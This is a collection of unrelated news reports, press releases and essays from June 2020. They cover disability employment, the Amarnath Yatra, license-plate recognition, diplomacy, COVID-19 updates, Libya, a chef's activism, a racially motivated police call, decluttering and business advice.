To ensure the support of employers, JobPath partners with SHRM (Society for Human Resource Management) the largest membership organization for human resource personnel. "Human resource professionals are key to the recruiting, hiring, onboarding and retention of veteran employees," said Constantine, who has SHRM certification. Supported by the Drysdale Center, Constantine developed an elearning series for SHRM members, providing knowledge of best practices for diversifying the workplace with veteran employees. There are plans to expand the elearning series to help employers recruit civilians with disabilities and jobseekers who have histories with the criminal justice system. "Tools that can support transition to the workplace are critical to adapting to the post-COVID economy," Constantine said. "JobPath is a flexible platform that can be adapted and scaled to help other groups overcome barriers to the workplace, and connect employers with the talent they need."

Ask Questions about Disability and Employment

Each nTIDE relese is followed by a noon Lunch & Learn series.This live broadcast, hosted via Zoom Webinar, offers attendees Q&A on the latest nTIDE findings, provides news and updates from the field, as well as invited panelists to discuss current disability-related findings and events. On June 5, at 12:00 pm Eastern. Jack Fanous of the GI Go Fund and Justin Constantine from JobPath join Dr. Houtenville, Elaine E. Katz, senior VP of Kessler Foundation, and Denise Rozell, Policy Strategist at AUCD. Join live or watch the recordings at: ResearchonDisability.org/nTIDE.

NOTE: The statistics in the nTIDE are based on Bureau of Labor Statistics numbers but are not identical. They are customized by UNH to combine the statistics for men and women of working age (16 to 64). nTIDE is funded, in part, by grants from the National Institute on Disability, Independent Living and Rehabilitation Research (NIDILRR) (90RT5037) and Kessler Foundation.

###

About Kessler Foundation

Kessler Foundation, a major nonprofit organization in the field of disability, is a global leader in rehabilitation research that seeks to improve cognition, mobility, and long-term outcomes -- including employment -- for people with neurological disabilities caused by diseases and injuries of the brain and spinal cord. Kessler Foundation leads the nation in funding innovative programs that expand opportunities for employment for people with disabilities. For more information, visit KesslerFoundation.org.

About the Institute on Disability at the University of New Hampshire

The Institute on Disability (IOD) at the University of New Hampshire (UNH) was established in 1987 to provide a coherent university-based focus for the improvement of knowledge, policies, and practices related to the lives of persons with disabilities and their families. For information on the NIDILRR-funded Employment Policy and Measurement Rehabilitation Research and Training Center, visit ResearchonDisability.org.

For more information, or to interview an expert, contact: Carolann Murphy, 973.324.8382, CMurphy@KesslerFoundation.org
The top officials of the Jammu and Kashmir administration will conduct pooja in Jammu on Friday, officially marking the start of Amarnath Yatra.

The Pratham Pooja will be conducted by Principal secretary to J&K Lieutenant Governor and CEO of Shri Amarnath Shrine Board, Bipul Pathak, ACEO AK Soni.

It signifies commencement of the annual pilgrimage to the cave shrine of Shri Amarnath. The yatra, however, shall begin on July 21 for a shorter duration of 14 days and it will end on August 3, official sources told Hindustan Times.

The pilgrimage to the 3,880-metre-high holy cave shrine in south Kashmir will now be conducted from the shorter Baltal route only, they added.

While Deputy Commissioner of Ganderbal, of which Baltal is a part, has already pressed men and machinery for clearing the tracks.

The decision to cut-short the time period of the yatra was taken during a meeting held by Jammu and Kashmir lieutenant governor GC Murmu last week.

The government had decided in February this year to hold the annual pilgrimage to the holy cave shrine.

The Amarnath Yatra was scheduled to begin from the twin tracks of Pahalgam in Anantnag district and Baltal in Ganderbal district on June 23. The pilgrimage was to end on August 3 on the day of Shravan Purnima (Raksha Bandhan).

Last year, the yatra was cut short following intelligence inputs of terror threats ahead of the Centre scrapping Article 370 in Jammu and Kashmir. In 2018, the pilgrimage was held for 60 days.

Thousands of pilgrims either trek the traditional and longer 45km-long Pahalgam route or the shorter 14km-long Baltal route to the holy shrine every year.

The pilgrimage usually spans nearly a month and a half and takes place during July and August.

One of the holiest pilgrimages in Hinduism, the yatra attracts pilgrims from India as well as across the world. There have been terror attacks on the route of the yatra in the past. The last attack took place in 2017 on a bus from Gujarat in Anantnag district that left seven pilgrims dead.
She thought that if she got a college degree she would be OK, she said. But she was fired from a job after college for not disclosing that she was transgender, and she had trouble getting hired after that. Frustrated, she took some time to travel and read the works of activists such as Malcolm X.
Plate Capture Solutions, Inc. (PCS), a Pennsylvania-based security system integrator, announced today it has scrapped its automatic license plate recognition solution (ALPR) from Rekor Systems in favor of the AI-powered ALPR/vehicle recognition solution supplied by PlateSmart Technologies. This move affects the ALPR solutions used by 100+ law enforcement agencies and nearly 600 LPR cameras across Western Pennsylvania. The PlateSmart ARES vehicle recognition system will initially read more than 25 million plates per week and offers room to grow as needs change.

We turned to PlateSmart in order to better serve our law enforcement clients, and theyve been able to do what other providers could not  provide a stable, robust ALPR platform and, most importantly, outstanding support during installation and commissioning, said John Hudson, president, PCS. It is the right choice for PCS and its clients. Law enforcement agencies deserve the best solutions available, and when I learned that PlateSmart was founded specifically to keep law enforcement officers safe, I knew I had to at least talk with them.

Hudson is no stranger to security and law enforcement. The former U.S. Secret Service agent, who served during the George H. W. Bush, Bill Clinton and George W. Bush administrations, is a well-known security consultant in Western Pa. He conducted security assessments following the 2012 shooting at Western Psychiatric Institute and Clinic in Pittsburgh. He also consulted with the local district attorneys office after the 2016 stabbing incident at Turtle Creek Valley Mental Health.

PlateSmart pioneered a software-only approach to ALPR and was the first company on the market to do so. It also features an AI and deep learning approach to vehicle recognition. That coupled with the fact that PlateSmart is also the sole-source provider of ALPR technology to a federal law enforcement agency led to a trial that ultimately convinced Hudson of the superiority of PlateSmarts solution.

Dan Hinkelman, chief technology officer, PCS, has over two decades of experience working with law enforcement in both communications and video surveillance technology. He was impressed with PlateSmarts speed and accuracy compared to that provided by the competition.

Things we never thought possible are now being done since we upgraded to PlateSmart, he said. Imagine being able to search through 150 million plate reads for a red Toyota that has a plate ending in 43. With other systems it can take six or seven minutes to perform that search. With PlateSmart, it is literally instantaneous. Its like nothing Ive ever seen before.

In the final analysis, PlateSmart is simply better, Hudson said. Its a better solution with better pricing and significantly better customer service. We look forward to using this deployment as a jumping-off point for conducting more business with PlateSmart throughout Pennsylvania, Ohio and West Virginia.

About Plate Capture Solutions

Plate Capture Solutions, Inc. (PCS) is an established Pittsburgh-based software licensing company specializing in license plate recognition (LPR) technology since 2016. PCS works closely with video surveillance camera integrators in achieving the highest practical accuracy for license plate reads by using a multitude of commercial off-the-shelf video surveillance cameras and LPR software. The company currently boasts the largest concentrated deployment of LPR cameras throughout Western Pennsylvania  over 600  which capture nearly 25 million plate reads weekly.

PCS serves nearly 100 local, state, and federal law enforcement agencies encompassing over 1000 law enforcement officials with the most reliable LPR software technology.

# # #
By Akbar Mammadov

Azerbaijans Foreign Minister Elmar Mammadyarov has held discussions on further opportunities to expand bilateral economic and trade relations with his Serbian counterpart and First Deputy Prime Minister Ivica Dacic, the MFAs press service reported on June 4.

During the telephone conversation, the sides exchanged views on bilateral economic and trade relations, noting the necessity of exploring the opportunities to expand these relations in the future.

The inisters also noted with satisfaction the current state of political relations between Azerbaijan and Serbia, exchanging information on the bilateral cooperation agenda.

Furthermore, Mammadyarov and Dacic reiterated the firm position of both countries to support the sovereignty and territorial integrity of the states. In this regard, the principled position of the two countries has also been emphasized, as reflected in bilateral documents.

Exchanging views on the current global health crisis, the Ministers stressed the importance of solidarity and mutual support in the fight against the new coronavirus.

In the end, the ministers agreed to keep the contacts and exchanged invitations to visit the countries after the pandemic is over.

---

Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
Metro Manila (CNN Philippines, June 5)  A community health worker accused of being a member of the New People's Army was killed in an encounter in Oriental Mindoro, the military said Friday.

The fatality, identified as Lorelyn Saligumba who goes by the alias Fara died after a 10-minute firefight at Barangay Mangangan I in Baco town Thursday afternoon, the Army's 2nd Infantry Division said in a statement.

It said Saligumba was the political instructor of members of the New People's Army under KLG ICMs Platoon Dos, noting that she was also part of the "Morong 43."

The "Morong 43" is composed of health workers who were arrested in 2010 and detained for 10 months until then President Benigno Noynoy Aquino III dropped the charges against them for illegal possession of firearms and explosives in time for Human Rights Day.

The health workers said they were blindfolded and tied up while under interrogation. The Ombudsman dropped the torture charges against soldiers and police officers involved in the case.

READ: Sandiganbayan clears soldiers, policemen in Morong 43 case

Major General Arnulfo Marcelo Burgos Jr., Commander of the 2nd Infantry Division, said Friday that Saligumba's death "justifies" the law enforcement operations in Morong, Rizal 10 years ago.

It only proves the governments position then that they were NPA terrorists and not the health workers which NPA-affiliated organizations said they were in their propaganda campaign during that time," Burgos said in a statement.

The military said government forces conducted Thursday's operations following reports that 10 NPA rebels were extorting from the residents. A firearm and improvised explosive device were recovered from the site of the encounter.

Meanwhile, a 12-year-old boy who was caught in the crossfire was grazed by a bullet on his upper right leg but is now in stable condition, the military said. The family was given financial assistance.

Another NPA leader, Elmar Murillo, was killed in an earlier encounter in Occidental Mindoro on Sunday. His remains have been turned over to his family. Saligumba's remains, on the other hand, will be transported to a funeral parlor pending the claim of relatives.

Pursuit operations are ongoing against the remaining rebels, the military said. Authorities are validating information that some of them were wounded.

The NPA is the armed wing of the Communist Party of the Philippines which has waged a five-decade insurgency.
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BRUSSELS (AP)  It's now time for Helpy Hour in Belgium.

As bars and restaurants prepare to reopen next week following more than two months of closed doors due to the coronavirus pandemic, Belgian beer lovers are being urged to buy one drink for the price of two in support of their favorite locals.





. . .
Kentucky congressman against mandates says he has COVID
The UAE Ambassador to France Ali Abdullah Al-Ahmed has been appointed as the UAEs Permanent Delegate to the United Nations Educational, Scientific and Cultural Organization (Unesco).

Ali today (June 5) presented his credentials to Audrey Azoulay, the Director-General of the UN body.

Al Ahmed and Azoulay discussed bilateral relations in the light of the joint projects carried out between the two sides. The UAE is ranked sixth on the list of the largest donor countries of the UNESCO.

Noura bint Mohammed Al Kaabi, UAEs Minister of Culture and Knowledge Development and Chair of the National Commission for Education, Culture and Science said Al Ahmed's appointment would contribute to enhancing ties with the Unesco and member states, as well as bolster the UAE's cultural presence amongst the international organisations.

"The UAE's appointment to the Unesco's Executive Board last November has reflected an acknowledgement for the country's efforts and initiatives in the fields of culture, science and education," stated Al Kaabi.

Between 2008 and 2012, Al Ahmed was Etisalat UAE's Chief Corporate Communications Officer. He played a key role in the development of the companys strategy to enter the telecom sector in African and Asian markets. He also worked from 2002 to 2008 as Director of Abu Dhabi TV.

"It also mirrored the UAEs significant role through supporting and financing programmes provided for many cultural, heritage and creative projects," she added.

In addition to working as UAEs Ambassador to France and Germany, Al Ahmed had also worked as the Director of European Affairs at the Ministry of Foreign Affairs and International Cooperation, where he was responsible for bilateral relations between the UAE and European countries through coordination between the country's embassies in Europe and the Ministry.

Before joining diplomatic work, Al Ahmed had held various leading posts in the media and telecommunication sectors in the UAE.

Al Ahmed holds a bachelors degree in Business Administration from the Eastern Washington University in the US, and a masters degree in Strategic and Security Studies from the National Defense College in the UAE.-TradeArabia News Service
Nell Krynauw set about diligently tidying her attic during this Covid-19 coronavirus lockdown. It might seem like a simple task, but she advises readers to be prepared for unexpected emotions the memories can awaken

It is daunting and exhausting to clear out the possessions of somebody who had died. But to sort out your own accumulated stuff is a different matter altogether.

After fifteen years since arriving in Ireland, the Coronavirus lockdown presented the ideal opportunity to do exactly that in my attic.

I could spend as much time there as I deemed necessary. Surely one week would be plenty? I owed this task to my children and anyone else that would have to get rid of my things when my mortality kicked in.

Initially all extras and well-sort-that-out-later stuff was stacked neatly around the edge of the attic floor. But time and haste resulted in a great mixed-up mess.

The most delightful expression describing it for me is, balagan gadol, a Hebrew expression I learned when I worked in Israel many years ago. It has a nice sound and feel to it. It sounds like a crows-nest, or the devastated scene after a hurricane.

There was only space to step over various sized boxes, crates, half empty tins of paint, canvasses, and toys, hidden away or brought from downstairs when guests were coming to visit.

After each of our parents died between 1992 and 2018 we had to go and sort out their worldly goods. Just before the lockdown a widower-friend also suddenly passed away and we had to assist in tidying up his things.

I experienced hands-on, each time, what hard work it was and how time-consuming, even though they were all very tidy. It would be so much worse when things were untidy. It would be undeserved punishment for my children if they were left with such a task.

But of course, on arrival back home every time, life simply continued as usual. All good intentions of decluttering the place beyond the ceiling just hovered like a pesky fly in the back of my mind.

Lockdown, however, was the Now or Never opportunity to tackle the enormous job. Its a full-time job, especially if you, like me, want to revisit every memory before its fate is decided: bin, file, charity, fix, or new tidy spot in the attic.

Twice I turned back down the attic stairs due to pure desperation of where to start, but finally the emotions, mind and courage kicked into an alignment and after a days work there, I slept a satisfied sleep from pure exhaustion.

As the bigger items found their allocated spots in the attic or bin, and the floor became more spacious, so did my emotions become more intense.

First the camping gear, which I thought I could sell or simply dump, got kept for maybe-use-elsewhere. It found its old spot in the one corner. Not a very good start. Then the household stuff and excess sheets that had been collected from the parents houses, were stacked in clear containers and marked. Next came the grown-up childrens toys, kept for their kids one day.

This was my first pause of pondering on memories

I returned a day later and continued with the childrens boxes - to be sorted when they returned for a holiday and/or to take away when they had their own homes one day. (I will never throw out someone elses stuff unless permission has been given.

I have seen too many tears from my mother and other people where someone else simply chucked out their treasured valuables, which meant nothing to the tidy-upper.)

After these, the husbands boxes. (He did spend a couple of hours with his stuff, but gave up after he threw out two boxes of study files.)

Lastly I started with my own boxes. And this is where my little world crumbled for a while.

I opened the memories of the life and career I left behind. Its not that I dont often think about what I used to do as an individual and also as part of a team, but here I had concrete memories in my hands. Its in total contrast to what Im doing now.

I opened files and found articles, notes, speeches I wrote for my superiors and other talks which I delivered myself. It felt good to recognise the high standard and good quality we maintained, especially in international events, which we organised and presented.

Other stuff I had forgotten about, was great to find: boxes full of hand-written letters, articles, photographs and diaries from school days, study years, volunteering in Israel and Lebanon, and after that, my first posts at different organisations.

Having now been transferred to the past in my mind, I was thinking of my career - first as a Social Worker in a hospital, and then, having made a mid-life career change to become the Public Relations Practitioner in the same hospital, I recalled the good and the bad, times that I struggled. I was proud of my work though, and loved the versatility of corporate communication.

I remembered the few situations that were not so great, where I experienced bullying from some of my superiors, and where there was misunderstanding and conflict due to things gone wrong, which were not in my control (e.g. a printer breaking just before a deadline). I now found myself in emotional turmoil, regretting some decisions that I had made.

I remember shortly after I started in the job as PRO, our hospital hosted a function for doctors from other hospitals. I arranged a venue and sent out invitations, but was told that I didnt have to organise any refreshments, as one of the pharmaceutical companies would provide it. Late in the afternoon of the event, after having been reassured several times that it would be delivered in time, I discovered that the refreshments consisted of only one single platter with a few sandwiches. I had never attended one of these functions before, but realised this was a crisis.

Hurriedly I contacted the superintendent who called his wife, who was a PRO elsewhere. She was furious and blamed me for being lousy. She saved the day with her experience and quickly bought all kinds of snacks and wine and came and presented it beautifully. But she never spoke to me again, even though I had been left in the lurch, and it was too late to arrange for petty cash to buy refreshments. A lesson learned - at a cost though.

Another awful experience was during the last two months of getting ready to relocate to Ireland. I was on my own, as my husband had already left to start his new job. When the schools closed for the holidays, I sent my children to stay with my parents. In the meantime I had been given a new job, standing in as editor for the companys magazine for my last few months. I also had to do the layout myself. I was left with no support. It was the Summer holidays and it was Christmas (southern hemisphere). It was the first time I did layout on such a scale. I now know I should never have accepted the challenge - which I thought would be an advantage in my new life in Ireland.

The amount of work, and a non-negotiable time limit, was too much for me, along with having to organise the sale of our car, sorting out all our stuff (up to the last pin), getting rid of things we couldnt take along, getting a cage built for our dog, flying him down to my parents, finding a relocation company and making endless inventories, running around for my husband for administration he needed done and so forth.

I was at work for about 12 to 16 hours per day, having to arrange everything in between, then went home to sort out.

Sometimes I only slept for two hours - even less towards the end.

During this time I had a burglary after the dog was gone. Now I also had to attend to the insurance claim, which took more of my time and added to the stress.

The worst, however, was that our sections camera got stolen from the cabinet in my office. I was so careful to always lock the cabinet and my office door when I went out, but this day I went to another office to drop something quickly, and left both unlocked.

How convenient for the thief to blame me, who was leaving the country! I felt my name, my integrity, had been shattered.

I had no way of finding out who stole it, nor could I prove that I didnt steal it. It bothers me till this day that they probably still believe it was I.*

Some people would say dont over-think things. Others would say leave the past behind. But when you dig out old stuff from a previous life, you cannot but ache when the memories come alive again.

Even letters from family and friends, which I kept, can wake all kinds of emotions of sadness and loss. (I have not yet had the courage to read my parents letters.) But there are also joyful bits when little notes from ones children or congratulatory cards appear. Even leftover pieces of fabric that I made little clothes or costumes from Oh, and the family heirloom of stamps, mostly unsorted, which might be worth a fortune for all I know, turned up!

These all unleashed so many emotions and thoughts, swirling in my mind, causing a few sleepless nights and even feelings of depression, of mourning.

It is at this emotional point that I would advise anyone else to take a break. Process those memories and feelings. Do something about it like contacting someone and talking things through, if necessary. Make peace with the past and go on.

If I may, I would like to advise anyone else who needs to tidy up a big mess, to prepare themselves with the following few points:

l Make the decision to tackle the job. Apply your willpower.

l Observe: Take a good look at the whole scene in front of you.

l Make a rough plan of how you want to organize it all, e.g. which corner you want to work from.

l Start with large objects, so it is out of the way.

l Have paper and pen to identify sections and make sure that everything is accessible. Put up shelves if need be, or buy large, clear containers.

l Brace yourself that it can be physically and emotionally tiring once you start digging up memories.

l When you find it difficult to make a decision about something, think what a family member or stranger would do with it; how would they value it?

l Do as much as you can, even if its only two to three hours per day. But dont brood over it too much.

l Even if you have to take a break for a few days, do go back to the job.

l If you know you will certainly not use something, have the courage to get rid of it and make peace with that.

It is obvious that if you declutter regularly you wont get into the mess which I had to tackle, but know that if you have to, it will take time and effort (definitely more than a week for me eventually).

Sorting out, decluttering, tidying up, whatever you call it, is easier for some than for others. However, it frees ones mind, heart and physical space.

Easy? No, not if you take life seriously.

Since Ive had a good look at my precious former life, my mind and my heart is refreshed with forgotten good memories.

I can now have perfect peace for the unknown amount of years that is left to live.

* After I wrote this essay, I decided to search for my last bosss contact details and called her. (Shes not on social media.) She was very surprised, but happy to hear from me.

When I told her how I felt about the camera, she immediately assured me that she never even considered the thought that it was me; I had too much integrity, were her very lovely words. What peace, as well as a friendship regained.
To prepare for a possible second wave of new coronavirus infections, the education ministry will renew a system to collect information about schoolchildren infected or suspected of being infected, and to share the information between schools as early as before the end of this month, it has been learned.

Under the envisaged system, the Education, Culture, Sports, Science and Technology Ministry will ask all of about 50,000 schools across the country, including elementary, junior high and high schools and kindergartens, to report such cases. Currently, respective municipalities gather and manage information about infection cases. Enhancing the assessment of confirmed and suspected cases at each school will enable teachers and officials to take effective measures to prevent infections.

In the United States and Europe, it has been documented that some children affected with the virus show symptoms similar to Kawasaki disease, which causes inflammation in blood vessels throughout the body. Given this, the ministry will ask schools to report such cases, in addition to confirmed and suspected cases of the coronavirus.

Cases reported by schools will be compiled under information categories such as "regional infection situation" and "school years of infected students," and the information will be shared by the ministry, boards of education and others.

Then, schools are supposed to make use of the information in creating measures to prevent infections, such as dividing students into groups that arrive at different times, modifying classroom teaching methods and deciding whether to shutter schools again.

In Kitakyushu, elementary and junior high school students have been infected with the virus one after another, as seen in a case where five children at the same elementary school tested positive for the virus in May. By strengthening the monitoring system, it will become possible to take earlier measures to prevent such cluster infections.

However, schools that report infection cases could suffer reputational damage, so the education ministry is carefully considering the scope of information to be shared.

To share the information on coronavirus infections, the ministry plans to update and operate an information system that tracks absentees from schools and other facilities and infectious diseases administered by the Japan Society of School Health, a public interest incorporated foundation.

Schools are required to make written reports on infectious diseases such as influenza and rubella. However, even if schools use the information system to submit reports, they can gain little information. For that reason, the usage rate of the system by elementary and junior high schools has been low at about 50%. The ministry will spend several million yen on renewing the system to build up the server, establish protocols to share the information and encourage schools to use the system.

"Since the risk of another wave of coronavirus infections will remain for the time being, respective schools need to maintain caution," an education ministry official said. "We would like to establish a system that helps schools and boards of education take various measures."
When Omar Tate looked into the Philadelphia sky this past weekend to see helicopters circling and plumes of black smoke, he knew: This weeks dinner still had to go on.

The revolution in a takeout box that is his Honeysuckle pop-up project out of South Philly Barbacoa would be delayed a day, and shifted earlier by the curfew. But this weeks onetime-only menu, a four-course homage to his grandfather imbued with pit smoke and personal history, would not be deterred. And a taste of his culinary activism couldnt have been more timely.

Eventually the pot boils over and thats what were seeing right now, said the chef and writer of the turmoil following George Floyds death at the hands of Minneapolis police. The people are speaking, proving what Ive always said to be true: The central message permeating Honeysuckle is that our existence alongside white supremacy has always been a confrontation, whether its joy, pain, or were being murdered. And its coming to a head.

For the Germantown-born Tate, 34, a veteran of Russet and Fork who spent the past eight years in New York cooking in restaurants and launching his celebrated Honeysuckle project, those ideas have been expressed on the plate and on the page. His immersive pop-ups exploring the nuance and expanse of American Blackness through poetry, food, and music were largely held in a Wall Street penthouse, high above the site of one of Americas more prominent slave auction blocks, he wrote in a recent essay in Esquire. He earned praise from the New York Times and was booked six months out for events.

All that was erased by the COVID-19 crisis, which prompted the chef to return home to be near family, including his 12-year-old son, Bashir, and mother Zahrah Jamison, with whom he lives now in West Philadelphia. It was a reluctant homecoming at first, he concedes.

But then he was invited by his friend Ben Miller to resurrect Honeysuckle in abbreviated takeout form at South Philly Barbacoa, which has been hosting pop-ups for several other Black chefs in its off hours. After turning out several of his limited-availability menus on a biweekly basis, with highlights ranging from pit-smoked lamb rubbed in palm oil and a West African-inspired chili paste to whole perch stuffed with callaloo, his thought-provoking work has fast become one of the most intriguing happenings of Phillys pandemic food scene.

With plans now taking root to fund-raise and build a community center food space in West Philly, his return home now feels meant to be: The signs have been coming to me for a couple of years, says Tate, whose Instagram handle, Coltrane215, is a nod to the Philadelphia jazz legend whom he regards as a major influence. He played in a spiritual sense, and thats how I try to cook.

After all, so much of his past work exploring Black American foodways from a non-Southern perspective is rooted in his Philadelphia upbringing, from his take on a Halal cheesesteak to canapes inspired by W.E.B. Du Bois The Philadelphia Negro. One creation he cooks annually to commemorate the 1985 MOVE bombing is called Smoked Turkey Necks in 1980s Philadelphia, a poem and companion dish of a turkey neck over lima beans dusted with ash on a plate of smoking hay. It seems almost prophetic following a week of helicopters, police in riot gear and smoldering skies.

But this Wednesdays menu ode to his grandpa James Jamison could not have been more on point, revealing both a deeper awakening to his Philly familys roots and the flavorful promise of his potential impact on the citys future. A few weeks ago, while visiting his aunt Teresa Jamison-Bradley in Overbrook, Tate came across albums of photos his grandfather had taken while in the Army during Vietnam, each picture carefully annotated with captions.

I found so much of myself reflected in this moment  he was an artist, said Tate, whose menus are similarly annotated.

Grandpa Jamison was also an activist, a Black Panther who launched a community center on South Sixth Street that Tate wrote in an Instagram post was eventually closed by Mayor Frank Rizzo, whose racist policies Jamison fought. The irony of Rizzos statue being cleaned by daybreak following the recent protests was not lost on the chef this week.

 READ MORE: The Rizzo statue disappeared early Wednesday. Philadelphia is still unpacking its legacy.

We saw what their value system is, says Tate, noting to the prompt scrubbing. The statues subsequent removal was, a performative step in the right direction but I need to see specific terms of action to rectify his history of brutality.

Tate, meanwhile, is taking specific steps of his own. His plans to create the community center were announced simultaneously along with this past weeks Chow menu dedicated to Jamison, which tapped his grandpas favorite foods like oysters topped with chow-chow, boiled peanuts, and grilled steak over wilted greens and Sea Island red peas stewed with smoky beef.

Meanwhile, the custardy bean pies topped with espresso whipped cream served for dessert as a tribute to his Muslim upbringing are the same ones hell begin selling at the end of June for $100 to begin raising funds for his project. The goal is to raise $100,000 to buy a vacant market in his mothers West Philly neighborhood just south of Mantua, known as the Bottom.

Its a food insecure neighborhood, he says. And the disconnect is that Black folks are not involved in these conversations about food.

He hopes this center, which has yet to secure a location, can become a multifaceted destination to have those conversations and use food for social progress, to create a platform where Black food puts its flag on a plate and stakes a claim for space in America  because America wont acknowledge and give it that space.

That notion is vividly reflected in the segregated reality of Philadelphias food landscape where, as Tate observes, Black people feel excluded from the luxurious media focus on Center City and for some reason there is not a Black American restaurant thats part of the [wider] conversation.

One can argue there are several Black-owned restaurants that have made their mark here, from the Bynum brothers South and Green Soul to KeVen Parkers Ms. Tootsies and Bookers in Cedar Park. But aside from Chad Williams at Friday Saturday Sunday (a member of my Top 25), none push culinary boundaries as fluidly as Tate does, drawing freely from historical roots, African references and Philly reflections of Southern flavors that moved North during the Great Migration. Even so, those players are far too few for a city that is nearly 44% Black.

But Tate has no desire to make Honeysuckle a formal restaurant. He grew disenchanted with that world in New York where he discovered, almost nothing is valuable but money and time. I went there to work in a Michelin-starred restaurant (A Voce) but I wasnt satisfying my soul. They give you discipline. And so many chefs come out of those kitchens as machines ... But theres almost no purity in it.

So I dont use the word restaurant anymore, because ... weve stopped nourishing people and were nourishing the pockets of those who own the restaurants, he said. What I do is a complete reflection of a Black existence in general. Honeysuckle exists in protest as something thats not a part of the system ... It came from my need for autonomy to be able to tell my story.

He is determined to keep his community center affordable for the community so the space is not seen as yet another symbol of gentrification. Though it wont be easy.

When you start putting better food in a neighborhood the prices go up. But if I say this is for yall and Im charging $10 for a pack of three sausages theyre going to say, This isnt for us.

Tates pop-up takeout menus have ranged from $40 to $50 for the optional multicourse set with a drink. And both meals I ate were worth it. But pricing remains a conundrum Tate hopes to solve creatively by advocating for support, government or otherwise, to subsidize food businesses that engage with their communities.

In the same way new condos have to set a certain amount of units aside for affordable housing, why cant that happen in food? Its just that nobody is thinking about it.

Omar Tate is thinking about it. Hes writing about it and cooking about it, too. His recent poem How many miles is 5280 feet powerfully evokes the February killing of Ahmaud Arbery in Georgia. The turmoil following the murder of George Floyd will surely emerge in some form from Tates creativity, as well, though its still too soon to know what.

Were going to have to stand in the rubble of Rome and have a discussion, says Tate, who says hes at an advantage as a host for such dialogue because, I offer you a piece of cake at the end after Ive said something uncomfortable. But its going to be a Black-ass cake.
A Winston-Salem, North Carolina, lawn care company believes police were called on their team Wednesday morning because of the color of their workers' skin.

"Its extremely disappointing," said Tim Bibb, who works as a mentor for Hope Lawn Care. "I'm leading a group of guys and I want them to know their value and their worth, and no sooner than were into a lesson about their value there comes someone along that says you're not and I can judge you and call the police based on the color of your skin."

Hope Lawn Care is a social enterprise out of Winston-Salem that is committed to helping young people, who may struggle to secure employment, gain work experience. Its owners said they want to connect with individuals who face barriers from gaining meaningful work experience during pivotal points in their lives. The goal is to help them begin building their resumes and learning professional skills.

"It was reported that four black males were driving in the area possibly performing yard work. Upon arrival, officers spoke with Hope Lawn Care personnel. They confirmed they were contracted to provide lawn care services at the address, said Captain Jose Gomez. "As this was not a police matter, officers left the area."



"We gathered our tools, spoke to the homeowner about what had happened and then we just, we left," Bibb said.

Bibb posted about the experience on social media. Late Wednesday afternoon, the post had been shared more than 2,700 times.

"I posted about so that one I could show our guys that theres a solidarity in the community that says this isnt right and to show them theyre not alone," said Bibb. "There are all nationalities and cultures that are behind them, whether theyre white, black. Theres a community of people in Winston-Salem that are not okay with racism."

Hope Lawn Care planned to release a written statement about the incident.

Bibb said he was working with the young men involved to help them process what had happened and the feelings it evoked.
Source: Xinhua| 2020-06-05 13:21:15|Editor: huaxia

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ULAN BATOR, June 5 (Xinhua) -- Mongolia reported five new cases of COVID-19 over the last 24 hours, bringing the national count to 191, the country's National Center for Communicable Disease (NCCD) said Friday.

"A total of 715 tests for COVID-19 were conducted at four laboratories across the country on Thursday and five of them were positive," the NCCD's head Dulmaa Nyamkhuu told a daily press conference.

Four of the five new confirmed cases are Mongolian students who have recently returned home from Russia, Nyamkhuu said.

The remaining one case is a Mongolian transport driver who came back from Russia on June 3, he said.

All the confirmed cases in the country, including four foreigners, were imported, mostly from Russia. No local transmissions or deaths have been reported in the country so far.

Five more patients have recovered from the disease, raising the total number to 70, according to the official.

On March 10, a French national tested positive for the novel coronavirus, becoming the first confirmed COVID-19 case in Mongolia. Enditem
Forces allied with Libya's UN-supported Government of National Accord (GNA) announced Thursday they have regained control of all of Tripoli's entrance and exit points after taking back the airport. They claimed the siege by the rival Libyan Arab Armed Forces (LAAF), who've been trying to capture the capital for over a year, has effectively ended. The announcement marks another blow to the LAAF, led by commander Khalifa Hifter.

Late on Wednesday, the GNA forces said they had retaken Tripoli International Airport, which fell to Hifters troops last year. Since 2015, Libya has been divided between two governments, one in the west and one in the east. The Government of National Accord, which holds Tripoli and some other western areas of the country, is backed by the United Nations and Turkey. The rival LAAF, based in the east, is backed by Russia. Libya slid into chaos following the ouster and killing of longtime dictator Moammar Gadhafi in 2011.
Every guru out there, including me, is telling entrepreneurs, marketers and small business owners that they need to pivot in the face of the COVID-19 economic tailspin. We are living in a world where up is down, families are sheltering in place, and restaurants, schools and parks remain empty while birthday parties and baby showers have become drive-bys.

How the heck is your business supposed to survive this?

Whether you are a solopreneur consultant or a large corporate brand, the same advice applies: Your company must pivot to survive and, more importantly, thrive.

Here are five ways you can pivot your business to thrive in uncertain times.

1. Adopt a growth mindset.

Now is a great time to create stronger connections with your customers and find opportunities to grow. Show up, stay positive and continue to think about growth. Perhaps now is the time to shore up your marketing plans, audit operations, update your website, streamline back-end processes or develop a new offering. You likely have a list of tasks that will improve your business but are at the bottom of your to-do list because they dont generate immediate revenue. What can you focus on and control to ensure that you are prepared and ready when activity picks back up?

Its OK to sell right now. Companies and people still have problems and need solutions. Dont let guilt dictate your choices as to how you show up for your customers. You have value to offer, so dont feel bad about offering it. Instead, shift your thinking and consider how what you offer can help others  you should always market and sell with this help first mentality. There is nothing wrong with keeping your business viable so you can continue to serve and help.

2. Show up.

Now is not the time to hide away until all this blows over. The brands that show up right now are winning and will come out on the other side stronger than ever, with better brand goodwill and customer loyalty. Brands that have been reaching out to customers and the community such as Zoom Communications, Nike and Salesforce are already experiencing this halo effect.

Reach out to all your clients and customers and make your availability known. Find out how they are doing. Ask what they need. Keep your brand top-of-mind, but demonstrate that you are there for your community.

Related: 4 Ideas for Actually Pivoting Your Business Right Now

Continue to blog and send emails, but pivot your content to address where your customers are right now, what they need and how you relate to it. This might involve revising scheduled content or creating content thats needed right now.

Recent research shows that younger buyers want to see brands helping their employees, customers and community. They are deciding against purchasing from companies they dont see making a difference.

Continue your outbound efforts with a measured tone  dont be tone-deaf. Acknowledge what is going on and offer soft support. Give your customers space to make decisions for themselves. No one feels in control right now, so offer options customers can act on in their own time.

Remind people how what you do adds value. Dont message to sow fear, uncertainty or doubt. Focus on social media posts, content marketing and emails to build stronger connections with your customers.

By staying connected, youll better understand whats going on and what your people need.

3. Meet your customers where they are.

Empathy is a powerful competitive advantage, especially in times like these. Strengthen your empathy muscle and adopt an empathetic mindset to see your customers in a different light. What is going on for them? How are they feeling? What could they use help with, and how can your offerings, skills and talents meet their needs?

